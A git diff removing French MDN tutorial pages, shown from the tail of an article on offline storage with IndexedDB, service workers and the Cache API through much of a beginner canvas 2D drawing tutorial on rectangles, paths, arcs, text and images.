-  let webmURL = URL.createObjectURL(webmBlob);
-
-  ...
-
-  let video = document.createElement('video');
-  video.controls = true;
-  let source1 = document.createElement('source');
-  source1.src = mp4URL;
-  source1.type = 'video/mp4';
-  let source2 = document.createElement('source');
-  source2.src = webmURL;
-  source2.type = 'video/webm';
-
-  ...
-}
    -
    6. -
- -

Stockage hors-ligne de ressources

- -

L'exemple ci-dessus montre comment créer une application qui stocke des ressources volumineuses dans une base de données IndexedDB, évitant ainsi de devoir les télécharger plus d'une fois. C'est déjà une grande amélioration pour l'expérience utilisateur, mais il manque encore une chose: les fichiers HTML, CSS, et JavaScript doivent encore être téléchargés à chaque fois que le site est accédé, ce qui veut dire qu'il ne fonctionnera pas lorsqu'il n'y a pas de connexion réseau

- -

- -

C'est là qu'interviennet les Service workers et l'API étroitement liée, Cache.

- -

Service Worker / Cache

- -

Un service worker est un fichier JavaScript qui, pour faire simple, est associé à une origine (un site web à un domaine donné) lorsque le navigateur y accède. Une fois associé, il peut contrôler les pages disponibles pour cette origine. Il le fait en s'installant entre la page chargée et le réseau, interceptant les requêtes réseau visant cette origine.

- -

Quand le service worker intercepte une requête, il peut faire tout ce que vous voulez (voir quelques idées de cas d'utilisation), mais l'exemple le plus classique est de sauvegarder les réponses réseau hors-ligne pour fournir ces réponses aux requêtes qui suivent au lieu d'utiliser le réseau. Ainsi, cela vous permet de faire fonctionner un site web complètement hors-ligne.

- -

L'API Cache est un autre mécanisme de stockage côté client, il a été conçu pour enregistrer les réponses HTTP et fonctionne donc très bien en synergie avec les service workers.

- -
-

Note : Les Service workers et Cache sont pris en charge par la plupart des navigateurs modernes aujourd'hui. Au moment de la rédaction de cet article, Safari était encore occupé à l'implémenter, mais il devrait bientôt être disponible.

-
- -

Un exemple service worker

- -

Voyons un exemple, pour vous donner une idée de ce à quoi cela pourrait ressembler. Nous avons crée une autre version de l'exemple video store vu précédemment. Cela fonctionne de manière identique, mais enregistre également le HTML, CSS, et JavaScript dans l'API Cache via un service worker, permettant à l'exemple de marcher hors ligne!

- -

Voir IndexedDB video store avec service worker en direct, ou voir le code source.

- -

Enregistrer le service worker

- -

La première chose à noter est qu'il  a un peu plus de code placé dans le fichier JavaScript principal (voir index.js):

- -
// Enregistre un service worker pour contrôler le site hors-ligne
-if('serviceWorker' in navigator) {
-  navigator.serviceWorker
-           .register('/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/sw.js')
-           .then(function() { console.log('Service Worker Registered'); });
-}
- - - -
-

Note : Le chemin du fichier sw.js est relatif à l'origine du site, et non au fichier JavaScript qui l'appelle.
- Le service worker est sur https://mdn.github.io/learning-area/.../sw.js. L'origine est https://mdn.github.io. Le chemin donné doit donc être /learning-area/.../sw.js.
- Si vous vouliez héberger cet exemple sur votre propre serveur, vous devriez changer le chemin en conséquence. C'est plutôt inhabituel, mais cela doit fonctionner de cette façon pour des raisons de sécurité.

-
- -

Installer le service worker

- -

Quand une page sous le contrôle du service worker est appelée (par exemple lorsque l'exemple est rechargé), alors le service worker est installé par rapport à cette page et il peut commencer à la contrôler. Quand cela arrive, un événement install est déclenché sur le service worker; vous pouvez écrire du code dans le service worker pour qu'il réponde à cette installation.

- -

Prenons pour exemple le fichier sw.js (le service worker) :

- -
self.addEventListener('install', function(e) {
- e.waitUntil(
-   caches.open('video-store').then(function(cache) {
-     return cache.addAll([
-       '/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/',
-       '/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/index.html',
-       '/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/index.js',
-       '/learning-area/javascript/apis/client-side-storage/cache-sw/video-store-offline/style.css'
-     ]);
-   })
- );
-});
- -
    -
  1. -

    Le gestionnaire d'événément install est enregistré sur self. Le mot-clé self est un moyen de faire référence au service worker de la portée globale à partir de son fichier.

    -
    2. -
  2. -

    À l'intérieur du gestionnaire d'installation, on utilise la méthode {{domxref("ExtendableEvent.waitUntil()")}}, disponible sur l'objet événement, pour signaler que le navigateur ne doit pas terminer l'installation du service worker avant que la promesse qu'il contient ne soit résolue avec succès.

    -
    3. -
  3. -

    Ici, on voit l'API Cache en action: on utilise la méthode {{domxref("CacheStorage.open()")}} pour ouvrir un nouvel objet cache dans lequel les réponses seront stockées (similaire à un object store IndexedDB). Cette promesse se résout avec un objet {{domxref("Cache")}} représentant le cache du video-store.

    -
    4. -
  4. -

    On utilise la méthode {{domxref("Cache.addAll()")}} pour récupérer une série de ressources et ajouter leur réponse au cache.

    -
    5. -
- -

C'est tout pour l'instant, l'installation est terminée.

- -

Répondre aux futures requêtes

- -

Avec le service worker enregistré et installé pour notre page HTML, et les ressources pertinentes ajoutées au cache, on est presque prêts. Il n'y a plus qu'une chose à faire: écrire du code pour répondre aux prochaines requêtes réseau.

- -

C'est ce que fait le second bloc de code dans sw.js :

- -
self.addEventListener('fetch', function(e) {
-  console.log(e.request.url);
-  e.respondWith(
-    caches.match(e.request).then(function(response) {
-      return response || fetch(e.request);
-    })
-  );
-});
- -
    -
  1. -

    On ajoute un deuxième gestionnaire d'événement au service worker, qui exécute une fonction quand l'événement fetch est déclenché. Cela arrive quand le navigateur requête une ressource dans le même répertoire que le service worker (ou sous-répertoire).

    -
    2. -
  2. -

    À l'intérieur de cette fonction, on affiche l'URL de la ressource demandée dans la console, et on utilise la méthode {{domxref("FetchEvent.respondWith()")}} pour retourner une réponse personnalisée à la requête.

    -
    3. -
  3. -

    Pour construire la réponse, on utilise d'abord {{domxref("CacheStorage.match()")}} afin de vérifier si la requête est en cache (qu'une requête correspond à l'URL demandée est en cache).

    -
    4. -
  4. -

    Si elle est trouvée, la promesse se résout avec la réponse correspondante; sinon, avec undefined. Dans ce cas, on récupère la réponse à partir du réseau, en utilisant fetch(), et on retourne le résultat.

    -
    5. -
- -

C'est tout pour notre service worker. Il y a tout un tas de choses que vous pouvez faire avec — pour plus de détails, consultez le service worker cookbook. Et merci à Paul Kinlan pour son article Adding a Service Worker and Offline into your Web App, qui a inspiré cet exemple.

- -

Tester l'exemple hors-ligne

- -

Pour tester notre exemple de service worker, rechargez d'abord la page pour vous assurer qu'il est bien installé. Une fois que c'est fait, vous pouvez soit:

- - - -

Si vous actualisez votre page d'exemple, vous devriez toujours la voir se charger normalemment. Tout est stocké hors connexion — les ressources de la page dans Cache et les vidéos dans une base de données IndexedDB.

- -

Sommaire

- -

C'est tout pour l'instant. Nous espérons que vous avez trouvé notre récapitulatif des technologies de stockage côté client utile.

- -

Voir aussi

- - - -

{{PreviousMenu("Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs", "Learn/JavaScript/Client-side_web_APIs")}}

- -

Dans ce module

- - diff --git a/files/fr/apprendre/javascript/client-side_web_apis/drawing_graphics/index.html b/files/fr/apprendre/javascript/client-side_web_apis/drawing_graphics/index.html deleted file mode 100644 index ce68c6620b..0000000000 --- a/files/fr/apprendre/javascript/client-side_web_apis/drawing_graphics/index.html +++ /dev/null @@ -1,922 +0,0 @@ ---- -title: Dessiner des éléments graphiques -slug: Apprendre/JavaScript/Client-side_web_APIs/Drawing_graphics -tags: - - API - - Apprendre - - Articles - - Canvas - - Codage - - Débutant - - Graphismes - - JavaScript - - WebGL -translation_of: Learn/JavaScript/Client-side_web_APIs/Drawing_graphics ---- -
{{LearnSidebar}}{{PreviousMenuNext("Learn/JavaScript/Client-side_web_APIs/Third_party_APIs", "Learn/JavaScript/Client-side_web_APIs/Video_and_audio_APIs", "Learn/JavaScript/Client-side_web_APIs")}}
- -

Le navigateur contient des outils de programmation graphique très puissants, du langage SVG (Scalable Vector Graphics), aux APIs pour dessiner sur les éléments HTML {{htmlelement("canvas")}}, (voir API Canvas et WebGL). Cet article fournit une introduction à canvas et introduit d'autres ressources pour vous permettre d'en apprendre plus.

- - - - - - - - - - - - -
Prérequis:Bases de JavaScript (voir premiers pas, les briques JavaScript, introduction aux objets), les notions de bases des APIs côté client
Objectif:Apprendre les bases pour dessiner sur des éléments <canvas> en utilisant JavaScript.
- -

Éléments graphiques sur le Web

- -

Comme nous en avons parlé dans notre module HTML Multimédia et Intégration, le web était à l'origine uniquement du texte, ce qui était très ennuyeux. Les images ont donc été introduites — d'abord via l'élément {{htmlelement("img")}} et plus tard via les propriétés CSS comme {{cssxref("background-image")}}, et SVG.

- -

Ce n'était cependant toujours pas assez. Tandis qu'il était possible d'utiliser CSS et JavaScript pour animer (ou manipuler) les images vectorielles SVG — puisqu'elles sont définies par le balisage — il n'y avait aucun moyen de faire de même pour les images bitmap, et les outils disponibles étaient plutôt limités. Le Web n'avait toujours pas de moyen efficace de créer des animations de jeux, des scènes 3D, et autres dispositions couramment traitées par les langages de bas niveau tels que C++ ou Java.

- -

La situation a commencé à s'améliorer quand les navigateurs ont commencé à prendre en charge l'élément {{htmlelement("canvas")}} et l' API Canvas associée — Apple l'a inventée vers 2004, et les autres navigateurs l'ont l'implémentée dans les années qui ont suivi. Comme vous le verrez dans cet article, canvas fournit de nombreux outils utiles à la création d'animation 2D, jeux, visualisations de données, et autres types d'application, particulièrement quand il est combiné à d'autres APIs que la plateforme web fournit.

- -

L'exemple ci-dessous montre une simple animation de balles qui rebondissent en canvas 2D, que nous avons déjà vue dans notre module La construction d'objet en pratique:

- -

{{EmbedGHLiveSample("learning-area/javascript/oojs/bouncing-balls/index-finished.html", '100%', 500)}}

- -

Autour de 2006-2007, Mozilla a commencé à travailler sur une implémentation expérimentale de canvas 3D. C'est devenu WebGL, lequel a gagné en popularité parmi les fournisseurs de navigateur, et a été standardisé autour de 2009-2010. WebGL permet de créer de véritables graphiques 3D dans le navigateur web; l'exemple ci-dessous montre un simple cube WebGL qui tourne:

- -

{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/threejs-cube/index.html", '100%', 500)}}

- -

Cet article se concentrera principalement sur les canvas 2D, car le code WebGL brut est très complexe. Nous montrerons cependant comment utiliser une bibliothèque WebGL pour créer une scène 3D plus facilement, et vous pourrez  par la suite suivre le tutoriel WebGL, qui couvre le code WebGL brut.

- -
-

Note: Canvas est très bien pris en charge parmi les différents navigateurs, à l'exception de IE 8 (et inférieur) pour les canvas 2D, et IE 11 (et inférieur) pour WebGL.

-
- -

Apprentissage actif: Débuter avec un <canvas>

- -

Si vous voulez créer une scène 2D ou 3D sur une page web, vous devez commencer avec un élément HTML {{htmlelement("canvas")}}. Cet élément est utilisé pour définir la zone de la page où l'image sera dessinée. C'est aussi simple que d'inclure l'élément dans la page:

- -
<canvas width="320" height="240"></canvas>
- -

Cela va créer un canvas sur la page d'une taille de 320 pixels par 240.

- -

À l'intérieur des balises du canvas, vous pouvez mettre du contenu alternatif, qui est affiché si le navigateur de l'utilisateur ne prend pas en charge les canvas.

- -
<canvas width="320" height="240">
-  <p>Votre navigateur ne prend pas en charge canvas. Boo hoo!</p>
-</canvas>
- -

Bien sûr, le message ci-dessus est vraiment inutile! Dans un exemple réel, vous voudriez plutôt associer le contenu alternatif au contenu du canvas. Par exemple, si vous voulez afficher un graphique en temps réel des cours boursiers, le contenu alternatif pourrait être une image statique du dernier graphique, avec un texte indiquant quels sont les prix.

- -

Crée et dimensionner notre canvas

- -

Commençons par créer notre propre canvas, que nous utiliserons pour dessiner nos futures expériences.

- -
    -
  1. -

    Premièrement, copiez localement notre fichier 0_canvas_start.html, et ouvez-le dans votre éditeur de texte.

    -
    2. -
  2. -

    Ajoutez le code suivant à l'intérieur, juste après la balise {{htmlelement("body")}} ouvrante:

    - - 
    <canvas class="myCanvas">
-  <p>Ajouter un contenu alternatif approprié ici.</p>
-</canvas>
    - -

    Nous avons ajouté un attribut class à l'élément <canvas> pour que ce soit plus facile à sélectionner dans le cas où nous aurions plusieurs canvas sur la page. Et nous avons supprimé les attributs width et height pour le moment (vous pouvez les remettre si vous le voulez mais nous les définirons en utilisant JavaScript dans une section plus bas). Les canvas sans hauteur et largeur explicites sont définits par défaut à 300 pixels par 150.

    -
    3. -
  3. -

    Maintenant, ajoutez les lignes suivantes à l'intérieur de l'élément {{htmlelement("script")}}:

    - - 
    var canvas = document.querySelector('.myCanvas');
-var width = canvas.width = window.innerWidth;
-var height = canvas.height = window.innerHeight;
    - -

    Ici, nous avons stocké une référence vers le canvas dans la variable canvas. Sur la deuxième ligne, nous affectons à la fois une nouvelle variable width et la propriété width du canvas à {{domxref("Window.innerWidth")}} (ce qui nous donne la largeur de la fenêtre). Sur la troisième ligne, nos affectons à la fois une nouvelle variable height et la propriété height du canvas à {{domxref("Window.innerHeight")}} (ce qui nous donne la hauteur de la fenêtre). Nous avons donc un canvas qui remplit toute la largeur et hauteur de la fenêtre!

    - -

    Vous avez également vu que nous avons chaîné les assignations ensemble avec plusieurs signes égal — ce qui est autorié en JavaScript, et c'est une bonne technique si vous voulez que plusieurs variables aient la même valeur. Nous avons gardé la hauteur et largeur du canvas facilement accessibles dans les variables width/height, ces valeurs seront utiles plus tard (par exemple, si vous voulez dessiner quelque chose exactement à mi-chemin de la largeur du canvas).

    -
    4. -
  4. -

    Si vous sauvegardez et chargez votre exemple dans le navigateur maintenant, vous ne verrez rien, ce qui est normal, mais vous verrez également des barres de défilement, ce qui est un problème pour nous. Cela se produit parce que l'élément {{htmlelement("body")}} a des {{cssxref("margin")}} qui, ajoutées à la taille du canvas, résulte en un document qui est plus large que la fenêtre. Pour se débarasser des barres de défilement, nous devons supprimer les {{cssxref("margin")}} et aussi définir {{cssxref("overflow")}} à hidden. Ajoutez ce qui suit à l'intérieur du {{htmlelement("head")}} du document:

    - - 
    <style>
-  body {
-    margin: 0;
-    overflow: hidden;
-  }
-</style>
    - -

    Les barres de défilement ne devraient plus être là.

    -
    5. -
- -
-

Note: Vous devrez généralement définir la taille de l'image en utilisant les attributs HTML ou les propriétéss DOM, comme expliqué ci-dessus. Vous pourriez théoriquement utiliser CSS, le problème étant que le dimensionnement le canvas est alors effectué après que le contenu canvas n'ait été calculé, et comme toute autre image (puisque le canvas une fois affiché n'est plus qu'une simple image), elle peut devenir pixelisée/déformée.

-
- -

Obtenir le contexte du canvas et configuration finale

- -

Nous devons faire une dernière chose avant de considérer notre template finit. Pour dessiner sur le canvas, nous devons récupérer une référence à la zone de dessin, appelé un contexte. Pour ce faire, on utilise la méthode {{domxref("HTMLCanvasElement.getContext()")}}, qui, pour un usage basique ne prend qu'un seul paramètre, spécifiant quel type de contexte nous voulons récupérer.

- -

En l'occurence, nous voulons un canvas 2D, alors ajoutez le JavaScript suivant à la suite des autres instructions à l'intérieur de l'élément <script>:

- -
var ctx = canvas.getContext('2d');
- -
-

Note: Vous pouvez choisir d'autres types de contexte comme webgl pour WebGL, webgl2 pour WebGL 2, etc., mais nous n'en aurons pas besoin dans cet article.

-
- -

Voilà — notre canvas est maintenant préparé et prêt à être dessiné! La variable ctx contient désormais un objet {{domxref("CanvasRenderingContext2D")}}, et toutes les opérations de dessin sur le canvas impliqueront de manipuler cet objet.

- -

Faisons une dernière chose avant de passer à autre chose. Nous allons colorier l'arrière-plan du canvas en noir, cela vous donnera un avant-goût de l'API canvas. Ajoutez les lignes suivantes au bas de votre JavaScript:

- -
ctx.fillStyle = 'rgb(0, 0, 0)';
-ctx.fillRect(0, 0, width, height);
- -

Ici nous définissons une couleur de remplissage en utilisant la propriété du canvas {{domxref("CanvasRenderingContext2D.fillStyle", "fillStyle")}} (qui prend une valeur de couleur tout comme les propriétés CSS), puis nous dessinons un rectangle qui recouvre intégralement la surface du canvas avec la méthode {{domxref("CanvasRenderingContext2D.fillRect", "fillRect")}} (les deux premiers paramètres sont les coordonnées du coin supérieur gauche du rectangle; les deux derniers sont la largeur et la hauteur du rectangle que vous voulez dessiner — on vous avait dit que ces variables width et height allaient être utiles)!

- -

OK, notre template est prêt et il est temps de passer à autre chose.

- -

Les bases du canvas 2D

- -

Pour rappel, toutes les opération de dessin sont effectuées en manipulant un objet {{domxref("CanvasRenderingContext2D")}} (dans notre cas, ctx).

- -

De nombreuses opérations doivent recevoir des coordonnées en entrée pour savoir où dessiner quelque chose — le coin supérieur gauche du canvas est le point (0, 0), l'axe horizontal (x) va de gauche à droite, et l'axe vertical (y) va de haut en bas.

- -

- -

Dessiner des formes est souvent fait en utilisant la forme rectangle, ou alors en traçant une ligne le long d'un certain chemin puis en remplissant la forme. Nous allons vous montrer ci-dessous comment faire ces deux choses.

- -

Rectangles simples

- -

Commençons avec quelques rectangles simples.

- -
    -
  1. -

    Tout d'abord, faites une copie de votre template (ou copiez localement le fichier 1_canvas_template.html si vous n'avez pas suivit les étapes précédentes).

    -
    2. -
  2. -

    Ensuite, ajoutez les lignes suivantes au bas de votre JavaScript:

    - - 
    ctx.fillStyle = 'rgb(255, 0, 0)';
-ctx.fillRect(50, 50, 100, 150);
    - -

    Si vous sauvegardez votre code et rafraichissez la page, vous devriez voir qu'un rectangle rouge est apparu sur le canvas. Son coin supérieur gauche est à (50,50) pixels du coin supérieur gauche du canvas (comme définit par les deux premiers paramètres), il a une largeur de 100 pixels et une hauteur de 150 pixels (comme définit par les paramètres 3 et 4).

    -
    3. -
  3. -

    Ajoutons un autre rectangle dans le mix — un vert cette fois. Ajoutez ce qui suit au bas de votre JavaScript:

    - - 
    ctx.fillStyle = 'rgb(0, 255, 0)';
-ctx.fillRect(75, 75, 100, 100);
    - -

    Sauvegardez et rafraichissez, et vous verrez un nouveau rectangle. Cela soulève un point important: les opérations graphiques comme dessiner des rectangles, lignes, et autres, sont executées dans l'ordre dans lequel elle apparaissent dans le code. Pensez-y comme peindre un mur, chaque couche de peinture s'ajoute par dessus les anciennes et peuvent même mettre cacher ce qu'il y a en dessous. Vous ne pouvez rien y faire, il faut donc réfléchir soigneusement à l'ordre dans lequel vous allez dessiner les éléments graphiques.

    -
    4. -
  4. -

    Notez que vous pouvez dessiner des éléments graphiques semi-transparents en spécifiant une couleur semi-transparente, par exemple en utilisant rgba(). La valeur a définit ce qu'on appelle le "canal alpha", ou la quantité de transparence de la couleur. Plus la valeur de a est élevée, plus la couleur est opaque. Ajoutez ce qui suit à votre code:

    - - 
    ctx.fillStyle = 'rgba(255, 0, 255, 0.75)';
-ctx.fillRect(25, 100, 175, 50);
    -
    5. -
  5. -

    Maintenant essayez de dessiner plus de rectangles par vous-même; amusez-vous!

    -
    6. -
- -

Traits et épaisseurs de ligne

- -

Jusqu'à présent nous avons vu comment dessiner des rectangles pleins, mais on peut aussi ne dessiner que les contours (dit strokes - traits - en graphic design). Pour définir la couleur que vous voulez pour le contour, utilisez la propriété {{domxref("CanvasRenderingContext2D.strokeStyle", "strokeStyle")}}. Pour dessiner le contour du rectangle, on appelle {{domxref("CanvasRenderingContext2D.strokeRect", "strokeRect")}}.

- -
    -
  1. -

    Ajoutez ce qui suit au bas de votre JavaScript:

    - - 
    ctx.strokeStyle = 'rgb(255, 255, 255)';
-ctx.strokeRect(25, 25, 175, 200);
    -
    2. -
  2. -

    L'épaisseur de trait par défaut est de 1 pixel; vous pouvez ajuster la valeur de la propriété {{domxref("CanvasRenderingContext2D.lineWidth", "lineWidth")}} pour changer ça (prend un nombre spécifiant le nombre de pixels d'épaisseur de trait). Ajoutez la ligne suivante entre les deux lignes précédentes:

    - - 
    ctx.lineWidth = 5;
    - -

    Vous devriez maintenant voir que votre contour blanc est devenu beaucoup plus épais!

    -
    3. -
- -

C'est tout pour le moment. À ce stade votre exemple devrait ressembler à ça:

- -

{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/getting-started/2_canvas_rectangles.html", '100%', 250)}}

- -
-

Note: Le code terminé est disponible sur GitHub, 2_canvas_rectangles.html.

-
- -

Dessiner des chemins

- -

Si vous voulez dessiner quelque chose de plus complexe qu'un rectangle, vous allez certainement devoir utiliser un path (chemin). En gros, cela implique de spécifier exactement où déplacer un stylo sur le canvas pour tracer la forme que vous voulez. L'API Canvas inclut des fonctions pour dessiner des lignes droites, des cercles, des courbes Bézier, et plus encore.

- -

Commençons la section en faisant une nouvelle copie de notre template (1_canvas_template.html), dans lequel nous allons dessiner le nouvel exemple.

- -

Nous allons utiliser quelques méthodes et propriétés communes dans les sections suivantes:

- - - -

Typiquement, une manière de dessiner un trait simple ressemblerait à ça:

- -
ctx.fillStyle = 'rgb(255, 0, 0)';
-ctx.beginPath();
-ctx.moveTo(50, 50);
-// tracer le trait
-ctx.fill();
- -

Dessiner des lignes

- -

Dessinons un triangle équilatéral sur le canvas.

- -
    -
  1. -

    Tout d'abord, ajoutez la fonction d'aide suivante au bas de votre code. Elle convertit des valeurs en degrés en radians, ce qui est utile car chaque fois que vous devez fournir une valeur d'angle en JavaScript, ce sera presque toujours en radians, tandis que les humains pensent généralement en degrés.

    - - 
    function degToRad(degrees) {
-  return degrees * Math.PI / 180;
-};
    -
    2. -
  2. -

    Ensuite, commencez votre path en ajoutant ce qui suit au bas de votre JavaScript. Ici, nous définissons une couleur pour notre triangle et déplaçons le stylo au point (50, 50) sans rien tracer. C'est à partir de là que nous allons dessiner notre triangle.

    - - 
    ctx.fillStyle = 'rgb(255, 0, 0)';
-ctx.beginPath();
-ctx.moveTo(50, 50);
    -
    3. -
  3. -

    Maintenant ajoutez le bloc de code suivant:

    - - 
    ctx.lineTo(150, 50);
-var triHeight = 50 * Math.tan(degToRad(60));
-ctx.lineTo(100, 50+triHeight);
-ctx.lineTo(50, 50);
-ctx.fill();
    - -

    Parcourons ceci dans l'ordre:

    - -
      -
    1. -

      D'abord nous ajoutons une ligne vers (150, 50) — notre path va maintenant 100 pixels vers la droite le long de l'axe horizontal (x).

      -
      2. -
    2. -

      Puis, nous calculons la hauteur de notre triangle équilatéral, en utilisant un peu de trigonométrie simple. Nous dessinons un triangle pointant vers le bas.

      - -

      Les angles d'un triangle équilatéral sont tous de 60 degrés. Pour calculer la hauteur, nous pouvons séparer le triangle en deux triangles rectangles par le milieu, qui auront alors des angles de 90, 60 et 30 degrés.

      - -

      Pour ce qui est des côtés:

      - -
        -
      • Le côté le plus long est appelé l'hypoténuse
        • -
      • Le côté relié à l'angle de 60 degrés (et qui n'est pas l'hypothénuse) est dit adjacent à cet angle — sa longueur est de 50 pixels puisque c'est la moitié de la ligne que nous avons dessiné.
        • -
      • Le côté opposé à l'angle de 60 degrés est dit opposé à cet angle — c'est la hauteur que nous voulons calculer.
        • -
      - -

       

      - -

      - -

      Une des formule trigonométrique de base stipule que la longueur du côté adjacent mutiplié par la tangente de l'angle est égale à l'opposé, soit 50 * Math.tan(degToRad(60)). Nous utilisons notre fonction degToRad() pour convertir 60 degrés en radians, puisque {{jsxref("Math.tan()")}} attend une valeur en radians.

      -
      3. -
    3. -

      Avec la hauteur calculée, nous ajoutons une nouvelle ligne vers (100, 50+triHeight). La coordonnée X est simple, elle est à mi-chemin de la ligne que nous avons tracé. La valeur de Y d'autre part doit être de 50 plus la hauteur du triangle, puisque le haut du triangle est à 50 pixels du haut du canvas.

      -
      4. -
    4. -

      L'instruction qui suit ajoute une ligne vers le point de départ du triangle.

      -
      5. -
    5. -

      Pour finir, nous appelons ctx.fill() pour finir le path et remplir la forme.

      -
      6. -
    -
    4. -
- -

Dessiner des cercles

- -

Maintenant, voyons comment dessiner un cercle sur le canvas. Pour ce faire, on utilise la méthode {{domxref("CanvasRenderingContext2D.arc", "arc()")}}, qui dessine tout ou une portion de cercle à un point spécifié.

- -
    -
  1. -

    Ajoutons un arc à notre canvas en ajoutant le code qui suit:

    - - 
    ctx.fillStyle = 'rgb(0, 0, 255)';
-ctx.beginPath();
-ctx.arc(150, 106, 50, degToRad(0), degToRad(360), false);
-ctx.fill();
    - -

    arc() prend six paramètres.

    - -
      -
    • Les deux premiers spécifient la position du centre du cercle (X et Y respectivement).
      • -
    • Le troisième est le rayon du cercle
      • -
    • Le quatrième et le cinquième sont les angles de début et de fin pour dessiner l'arc (donc spécifier 0 et 360 nous donne un cercle fermé)
      • -
    • Et le sixième paramètre définit si le cercle doit être dessiné dans le sens des aiguilles d'une montre ou dans le sens inverse (false pour le sens horaire).
      • -
    - -
    -

    Note: 0 degrés est horizontalement vers la droite.

    -
    -
    2. -
  2. -

    Ajoutons un autre arc:

    - - 
    ctx.fillStyle = 'yellow';
-ctx.beginPath();
-ctx.arc(200, 106, 50, degToRad(-45), degToRad(45), true);
-ctx.lineTo(200, 106);
-ctx.fill();
    - -

    Le motif ici est très similaire, a deux différences près:

    - -
      -
    • Nous avons mis le dernier paramètre de arc() à true, ce qui signifie que l'arc est tracé dans le sens inverse des aiguilles d'une montre.  Donc si notre arc commence à -45 degrés et fini à 45 degrés, nous dessinons un arc de 270 degrés. Si vous changez true à false et ré-exécutez le code, seule une portion de 90 degrés sera dessinée.
      • -
    • Avant d'appeler fill(), nous ajoutons une ligne vers le centre du cercle. Nous obtenons une découpe de style Pac-Man plutôt sympa. Si vous supprimiez cette ligne (essayez!) et ré-exécutiez le code, vous auriez juste un cercle dont le bout a été coupé — entre le début et la fin de l'arc. Cela illuste un autre point important du canvas: si vous essayez de remplir une forme incomplète (qui n'est pas fermée), le navigateur ajoute une ligne droite entre le début et la fin du path et le remplit.
      • -
    -
    3. -
- -

C'est tout pour le moment; votre exemple final devrait ressembler à ceci:

- -

{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/getting-started/3_canvas_paths.html", '100%', 200)}}

- -
-

Note: Le code finit est disponible sur GitHub, 3_canvas_paths.html.

-
- -
-

Note: Pour en savoir plus sur les fonctions de dessin avancées, telles que les courbes Bézier, consultez notre tutoriel Dessiner des formes avec le canevas.

-
- -

Texte

- -

Canvas dispose également de fonctionnalités pour écrire du texte. Nous allons les explorer brièvement. Commencez par créer une nouvelle copie du template (1_canvas_template.html), dans lequel nous allons dessiner le nouvel exemple.

- -

Le texte peut être avec deux méthodes:

- - - -

Ces deux méthodes prennent trois paramètres: la chaîne de caractères à écrire et les coordonnées X et Y du coin supérieur gauche de la zone de texte (text box) — littéralement, la zone entourant le texte que vous écrivez.

- -

Il existe également un certain nombre de proprétés pour contrôler le rendu du texte, comme {{domxref("CanvasRenderingContext2D.font", "font")}}, qui permer de spécifier la police d'écriture, la taille, etc — elle accepte la même syntaxe que la propriété CSS {{cssxref("font")}}.

- -

Essayez d'ajouter le bloc suivant au bas de votre javaScript:

- -
ctx.strokeStyle = 'white';
-ctx.lineWidth = 1;
-ctx.font = '36px arial';
-ctx.strokeText('Canvas text', 50, 50);
-
-ctx.fillStyle = 'red';
-ctx.font = '48px georgia';
-ctx.fillText('Canvas text', 50, 150);
- -

Ici nous dessinons deux lignes de texte, une avec le contour et l'autre remplie. L'exemple final devrait ressembler à ça:

- -

{{EmbedGHLiveSample("learning-area/javascript/apis/drawing-graphics/getting-started/4_canvas_text.html", '100%', 180)}}

- -
-

Note: Le code final est disponible sur GitHub, 4_canvas_text.html.

-
- -

Jouez avec et voyez ce que vous pouvez faire! Vous pouvez trouver plus d'information sur les options disponibles pour ajouter du texte sur un canvas dans Dessin de texte avec canvas.

- -

Dessiner des images sur le canvas

- -

Il est possible d'afficher des images externes sur le canvas. Ce peut être des images simples, des images à l'intérieur d'une vidéo, ou le contenu d'autres canvas. Pour le moment, nous allons juste nous occuper d'ajouter des images simples sur le canvas.

- -
    -
  1. -

    Comme précédemment, créez une nouvelle copie du template (1_canvas_template.html), où nous dessinerons l'exemple. Vous allez également devoir sauvegarder une copie de notre image d'exemple — firefox.png — dans le même répertoire.

    - -

    Les images sont dessinés sur le canvas en utilisant la méthode {{domxref("CanvasRenderingContext2D.drawImage", "drawImage()")}}. Dans sa version la plus simple, elle prend trois paramètres — une référence de l'image que vous voulez afficher et les coordonnées X et Y du coin supérieur gauche de l'image sur le canvas.

    -
    2. -
  2. -

    Commençons par obtenir une ressource de l'image à inclure dans notre canvas. Ajoutez les lignes suivantes au bas de votre JavaScript:

    - - 
    var image = new Image();
-image.src = 'firefox.png';
    - -

    Ici, nous créons un nouvel objet {{domxref("HTMLImageElement")}} en utilisant le constructeur {{domxref("HTMLImageElement.Image()", "Image()")}}. (L'objet retourné est le même type que celui retourné lorsque vous récupérez une référence vers un élément {{htmlelement("img")}} existant). Nous définissons son attribut  {{htmlattrxref("src", "img")}} à notre image du logo Firefox. À ce stade, le navigateur commence à charger l'image.

    -
    3. -
  3. -

    Nous pourrions essayer maintenant d'inclure l'image en utilisant drawImage(), mais nous devons nous assurer que le fichier image ait été chargé en premier, faute de quoi le code échouera. Nous pouvons y parvenir en utilisant le gestionnaire d'événement onload, qui ne sera appelé que lorsque l'image aura fini de charger. Ajoutez le bloc suivant à la suite du précédent:

    - - 
    image.onload = function() {
-  ctx.drawImage(image, 50, 50);
-}
    - -

    Si vous chargez votre exemple dans le navigateur maintenant, vous devriez voir l'image inclue dans le canvas.

    -
    4. -
  4. -

    Mais il y en a plus! Et si nous ne voulions afficher qu'une partie de l'image, ou la redimensionner? Nous pouvons faire ces deux choses avec une version plus complexe de drawImage(). Mettez à jour votre ligne ctx.drawImage() comme suit:

    - - 
    ctx.drawImage(image, 20, 20, 185, 175, 50, 50, 185, 175);
    - -
      -
    • Le premier paramètre est la référence de l'image, comme précédemment.
      • -
    • Les paramètres 2 et 3 définissent les coordonnées à partir d'où découper l'image, relativement au coin supérieur gauche de l'image d'origine. Tout ce qui est à gauche de X (paramètre 2) ou au-dessus de Y (paramètre 3) ne sera pas dessiné.
      • -
    • Les paramètres 4 et 5 définissent la largeur et hauteur de la zone que nous voulons découper, à partir du coin supérieur gauche de l'image découpée.
      • -
    • Les paramètres 6 et 7 définissent les coordonnées où vous souhaitez placer l'image sur le canvas, relativement au coin supérieur gauche du canvas.
      • -
